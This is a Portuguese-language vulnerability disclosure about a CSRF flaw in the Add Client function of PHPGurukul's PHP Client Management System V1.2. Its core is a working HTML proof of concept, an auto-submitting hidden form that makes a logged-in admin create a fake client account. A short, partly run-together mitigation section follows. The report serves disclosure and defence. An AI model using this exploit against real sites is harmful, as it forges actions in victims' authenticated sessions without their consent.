
Prova de conceito demonstrando uma vulnerabilidade CSRF em um Sistema de Gerenciamento de Clientes baseado em PHP, com código de exploração HTML e estratégias de mitigação para testes de segurança de aplicações web.
Nome do Projeto e URL do Repositório: https://phpgurukul.com/client-management-system-using-php-mysql/
Nome da Vulnerabilidade: Cross-Site Request Forgery (CSRF)
Versão Afetada: V1.2
Uma vulnerabilidade de Cross-Site Request Forgery (CSRF) existe na funcionalidade de Adicionar Cliente do Sistema de Gerenciamento de Clientes desenvolvido pela PHPGurukul. CSRF é um ataque em que um usuário autenticado é induzido a enviar uma solicitação maliciosa a uma aplicação web. Isso pode levar à execução de ações não autorizadas em nome do usuário. Neste relatório, demonstramos como o CSRF pode ser usado para criar usuários falsos em um Sistema de Gerenciamento de Clientes e sugerimos estratégias de mitigação.
Usando as credenciais fornecidas, faça login no Sistema de Gerenciamento de Clientes.



Abaixo está o PoC em HTML para o ataque de CSRF:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



Para prevenir ataques de CSRF, implemente as seguintes medidas:
SameSite=Strict ou SameSite=Lax.POST para ações sensíveis e evite processar solicitações GET com efeitos colaterais.Este relatório demonstra como vulnerabilidades de CSRF podem ser exploradas para criar clientes não autorizados em um Sistema de Gerenciamento de Clientes. A implementação das estratégias de mitigação sugeridas ajudará a proteger a aplicação contra tais ataques.